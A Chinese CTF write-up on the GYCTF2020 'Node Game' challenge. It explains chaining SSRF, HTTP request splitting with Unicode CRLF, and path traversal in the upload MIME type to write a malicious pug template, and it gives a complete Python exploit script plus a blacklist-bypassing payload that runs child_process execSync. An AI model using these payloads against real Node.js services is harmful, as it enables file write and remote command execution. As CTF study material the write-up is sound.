CTF Web安全

[GYCTF2020]Node Game(CRLF头部注入)

Posted on 2020-03-18,3 min read

题目给出了源码

/
接受action参数。如果没有就默认为index
file=dirname+/template/+action+.png
然后用pug进行渲染。可以理解为执行这个文件

/file_upload
定义了只能由127.0.0.1访问。并且是remoteaddress不能伪造
那么得找一个SSRF的点
文件上传。
filepath=/uploads/+mimetype+/
而mimetype可控。那么我们可以跨目录
dir_file=dirname+filepath+filename
那么我们可以构造任意路径文件写入

/core
接受一个q参数。然后对其进行黑名单检测
然后对q输入的值进行请求。。
当时知道这个点可以SSRF。但是不会构造数据包。。

https://xz.aliyun.com/t/2894#toc-2当中有nodejs的SSRF
脚本如下:

import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Content-Length: 291

----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="abc.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt

----------------------------919695033422425209299810--

GET /flag HTTP/1.1
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
r = requests.get('http://a5424015-e9f0-4db0-9d84-472bda633e45.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)

这里利用../template进行跨目录。经过处理后就变成了uploads/../template/abc.pug
然后刚好就可以通过action参数请求执行
pub文件的内容是包含多个上级目录的flag.txt
还有命令执行的payload。需要bypass一下黑名单
这里最后的GET /flag只是为了闭合HTTP请求

原始请求数据如下:
GET / HTTP/1.1
Host: xxx.xxx.xxx

当我们插入数据后:
GET / HTTP/1.1

GET /upload_file HTTP/1.1
xxxxxx文件上传
xxxxxx文件上传

Host:xxxxxxxxxx

上次请求包的Host参数就单独出来了。会报错。所以我们再构造一个请求把他闭合

GET / HTTP/1.1

GET /upload_file HTTP/1.1
xxxxxx文件上传
xxxxxx文件上传

GET /flag HTTP/1.1
x:Host:xxxxxxxxxx

访问/?action=abc得到flag

bypass命令执行
出题人writeup
https://blog.5am3.com/2020/02/11/ctf-node1/#%E8%87%AA%E5%B7%B1%E5%87%BA%E7%9A%84-node-gamev
是通过对参数URL编码绕过。
当然还能通过字符串拼接的方式绕过

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('whoami').toString()")
-return x

在文章前。那xz中还有unicode绕过。
这里就有三种bypass方法。

下一篇: [BSidesCF 2020]Bulls23→